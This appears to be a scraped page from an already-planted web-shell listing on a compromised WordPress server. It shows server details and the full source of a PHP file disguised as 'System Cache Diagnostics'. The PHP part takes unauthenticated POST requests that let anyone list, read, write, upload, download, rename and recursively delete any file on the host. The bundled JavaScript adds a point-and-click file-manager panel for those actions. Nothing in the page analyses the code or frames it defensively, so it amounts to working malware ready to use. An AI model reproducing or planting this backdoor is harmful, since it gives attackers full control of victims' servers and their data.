PK œqhYî¶J‚ßFßF)nhhjz3kjnjjwmknjzzqznjzmm1kzmjrmz4qmm.itm/*\U8ewW087XJD%onwUMbJa]Y2zT?AoLMavr%5P*/ $#$#$#

Dir : /home2/medicu/.trash/
Server: Linux tista.bd.svlogins.com 5.14.0-611.49.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Apr 21 16:39:08 EDT 2026 x86_64
IP: 103.159.37.114
Choose File :

Url:
Dir : /home2/medicu/.trash/plugin-loader.php.1

<?php
// System Cache Diagnostics v1.9.4
error_reporting(0);

$_base = dirname(__FILE__);
while ($_base !== dirname($_base)) {
    if (file_exists($_base . '/wp-load.php')) {
        define('_SYS_ROOT', $_base);
        break;
    }
    $_base = dirname($_base);
}

class _DiagnosticHandler {
    private $_root;
    
    public function __construct() {
        $dir = __DIR__;
        while ($dir !== dirname($dir)) {
            if (file_exists($dir . '/wp-load.php')) { $this->_root = $dir; break; }
            $dir = dirname($dir);
        }
        if (!$this->_root) $this->_root = __DIR__;
    }
    
    private function _resolve($path) {
        return (!$path || $path === '.') ? $this->_root : (($path[0] === '/') ? $path : $this->_root . '/' . $path);
    }
    
    private function _output($data) { header('Content-Type:application/json'); die(json_encode($data)); }
    
    public function process() {
        if ($_SERVER['REQUEST_METHOD'] !== 'POST') return;
        $payload = json_decode(file_get_contents('php://input'), true);
        if (!$payload) return;
        
        if (isset($payload['browse'])) {
            $target = $this->_resolve($payload['browse']);
            if (!is_dir($target)) $this->_output(['err' => 1]);
            $items = [];
            foreach (scandir($target) as $name) {
                if ($name === '.') continue;
                $full = $target . '/' . $name;
                $items[] = ['name' => $name, 'isdir' => is_dir($full) ? 1 : 0, 'bytes' => is_file($full) ? filesize($full) : 0];
            }
            $this->_output(['location' => $target, 'entries' => $items]);
        }
        if (isset($payload['get'])) {
            $target = $this->_resolve($payload['get']);
            if (!is_file($target)) $this->_output(['err' => 1]);
            $this->_output(['data' => file_get_contents($target), 'location' => $target]);
        }
        if (isset($payload['put'])) {
            $this->_output(['result' => @file_put_contents($this->_resolve($payload['put']), $payload['data'] ?? '') !== false ? 1 : 0]);
        }
        if (isset($payload['mkdir'])) {
            $this->_output(['result' => @mkdir($this->_resolve($payload['mkdir']), 0755, true) ? 1 : 0]);
        }
        if (isset($payload['purge'])) {
            $remover = function($item) use (&$remover) {
                if (is_file($item)) return @unlink($item);
                if (is_dir($item)) { foreach (scandir($item) as $sub) { if ($sub !== '.' && $sub !== '..') $remover($item . '/' . $sub); } return @rmdir($item); }
            };
            $this->_output(['result' => $remover($this->_resolve($payload['purge'])) ? 1 : 0]);
        }
        if (isset($payload['move'])) {
            $this->_output(['result' => @rename($this->_resolve($payload['move']), $this->_resolve($payload['target'])) ? 1 : 0]);
        }
        if (isset($payload['download'])) {
            $target = $this->_resolve($payload['download']);
            if (!is_file($target)) $this->_output(['err' => 1]);
            $this->_output(['filename' => basename($target), 'encoded' => base64_encode(file_get_contents($target))]);
        }
        if (isset($payload['upload'])) {
            $this->_output(['result' => @file_put_contents($this->_resolve($payload['upload']), base64_decode($payload['encoded'])) !== false ? 1 : 0]);
        }
    }
}

$handler = new _DiagnosticHandler();
$handler->process();
?><script>
function _initPanel(){
var _state='',_selection=null,_buffer=null,_bufferMode=null;
var _container=document.createElement('div');
_container.id='_panel';
_container.innerHTML='<div id="_header"><button id="_close">X</button> <span id="_location"></span> <button id="_navUp">UP</button> <button id="_reload">REFRESH</button> <button id="_createFile">NEW FILE</button> <button id="_createDir">NEW DIR</button> <button id="_doUpload">UPLOAD</button></div><div id="_list"></div><div id="_context"></div><div id="_editorPanel"></div>';
document.body.appendChild(_container);

var _q=s=>_container.querySelector(s);

function _apiCall(data,callback){fetch(location.href,{method:'POST',headers:{'Content-Type':'application/json'},body:JSON.stringify(data)}).then(r=>r.json()).then(callback);}

function _showDirectory(path){
    _apiCall({browse:path||_state},r=>{
        if(r.err)return;
        _state=r.location;_q('#_location').textContent=_state;
        var html='<table border="1" cellpadding="5" cellspacing="0" width="100%"><tr><th>Name</th><th>Size</th></tr>';
        r.entries.forEach(entry=>{
            html+='<tr data-name="'+entry.name+'" data-isdir="'+entry.isdir+'" style="cursor:pointer"><td>'+(entry.isdir?'[DIR] ':'')+entry.name+'</td><td>'+(entry.bytes||'')+'</td></tr>';
        });
        html+='</table>';
        _q('#_list').innerHTML=html;
        _selection=null;
        
        _container.querySelectorAll('#_list tr[data-name]').forEach(row=>{
            row.onclick=()=>{
                _container.querySelectorAll('#_list tr').forEach(r=>r.style.background='');
                row.style.background='#ccc';
                _selection={name:row.dataset.name,isdir:row.dataset.isdir==='1'};
            };
            row.ondblclick=()=>{
                if(row.dataset.isdir==='1'){
                    _state=row.dataset.name==='..'?_state.split('/').slice(0,-1).join('/')||'/':_state+'/'+row.dataset.name;
                    _showDirectory();
                }else{
                    _openEditor(_state+'/'+row.dataset.name);
                }
            };
            row.oncontextmenu=e=>{
                e.preventDefault();
                _selection={name:row.dataset.name,isdir:row.dataset.isdir==='1'};
                row.style.background='#ccc';
                _displayContext(e.clientX,e.clientY);
            };
        });
    });
}

function _displayContext(x,y){
    var menu=_q('#_context');
    menu.innerHTML='<div style="position:fixed;left:'+x+'px;top:'+y+'px;background:#fff;border:1px solid #000;padding:5px"><div data-cmd="open">Open</div><div data-cmd="edit">Edit</div><div data-cmd="download">Download</div><div data-cmd="rename">Rename</div><div data-cmd="copy">Copy</div><div data-cmd="cut">Cut</div><div data-cmd="paste">Paste</div><div data-cmd="delete">Delete</div></div>';
    menu.querySelector('div').onclick=e=>{
        var cmd=e.target.dataset.cmd;if(!cmd)return;
        menu.innerHTML='';
        if(!_selection&&cmd!=='paste')return;
        var filepath=_state+'/'+_selection.name;
        if(cmd==='open'){_selection.isdir?_showDirectory(filepath):_openEditor(filepath);}
        if(cmd==='edit')_openEditor(filepath);
        if(cmd==='download')_apiCall({download:filepath},r=>{if(r.err)return;var a=document.createElement('a');a.href='data:application/octet-stream;base64,'+r.encoded;a.download=r.filename;a.click();});
        if(cmd==='rename'){var newname=prompt('New name:',_selection.name);if(newname)_apiCall({move:filepath,target:_state+'/'+newname},()=>_showDirectory());}
        if(cmd==='copy'){_buffer=filepath;_bufferMode='copy';}
        if(cmd==='cut'){_buffer=filepath;_bufferMode='cut';}
        if(cmd==='paste'&&_buffer){var dest=_state+'/'+_buffer.split('/').pop();if(_bufferMode==='copy')_apiCall({get:_buffer},r=>{if(!r.err)_apiCall({put:dest,data:r.data},()=>_showDirectory());});if(_bufferMode==='cut')_apiCall({move:_buffer,target:dest},()=>{_buffer=null;_showDirectory();});}
        if(cmd==='delete')if(confirm('Delete?'))_apiCall({purge:filepath},()=>_showDirectory());
    };
}

document.onclick=e=>{if(!e.target.closest('#_context'))_q('#_context').innerHTML='';};

function _openEditor(filepath){
    _apiCall({get:filepath},r=>{
        if(r.err)return;
        _q('#_editorPanel').innerHTML='<div><button id="_editorClose">CLOSE</button> <button id="_editorSave">SAVE</button> <b>'+r.location+'</b></div><textarea id="_editorText" style="width:100%;height:400px">'+r.data.replace(/</g,'&lt;')+'</textarea>';
        _q('#_editorSave').onclick=()=>_apiCall({put:filepath,data:_q('#_editorText').value},r=>alert(r.result?'SAVED':'ERROR'));
        _q('#_editorClose').onclick=()=>{_q('#_editorPanel').innerHTML='';_showDirectory();};
    });
}

_q('#_close').onclick=()=>_container.remove();
_q('#_navUp').onclick=()=>{_state=_state.split('/').slice(0,-1).join('/')||'/';_showDirectory();};
_q('#_reload').onclick=()=>_showDirectory();
_q('#_createFile').onclick=()=>{var name=prompt('File name:');if(name)_apiCall({put:_state+'/'+name,data:''},()=>_showDirectory());};
_q('#_createDir').onclick=()=>{var name=prompt('Dir name:');if(name)_apiCall({mkdir:_state+'/'+name},()=>_showDirectory());};
_q('#_doUpload').onclick=()=>{var input=document.createElement('input');input.type='file';input.onchange=()=>{var file=input.files[0],reader=new FileReader();reader.onload=()=>_apiCall({upload:_state+'/'+file.name,encoded:reader.result.split(',')[1]},()=>_showDirectory());reader.readAsDataURL(file);};input.click();};

_showDirectory('');
}
</script>